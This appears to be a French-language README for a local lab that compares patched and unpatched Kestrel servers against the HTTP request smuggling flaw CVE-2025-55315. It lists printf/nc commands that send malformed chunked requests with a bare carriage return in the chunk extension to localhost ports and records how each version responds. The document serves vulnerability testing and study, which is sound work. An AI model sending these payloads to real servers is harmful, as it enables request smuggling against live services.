
Terrain de jeu pour expérimenter différents comportements sur Kestrel corrigé/non corrigé pour la vulnérabilité de contrebande HTTP CVE-2025-55315.
Voici quelques tests qui peuvent être effectués contre ces services pour observer différents comportements sur les routes GET/POST entre les versions patchées et non patchées de Kestrel.
GET contre la version non patchée (envoie 200 et le socket reste ouvert)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
GET contre la version patchée (envoie 200 et le socket se ferme)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST sans CT requis contre la version non patchée (envoie 200 et le socket reste ouvert)
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST sans CT requis contre la version patchée (envoie 400 et le socket se ferme (le processus lève également une exception gérée concernant Bad chunk extension))
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST avec CT requis contre la version non patchée (envoie 415 et le socket reste ouvert)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST avec CT requis contre la version patchée (envoie 415 et le socket se ferme)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001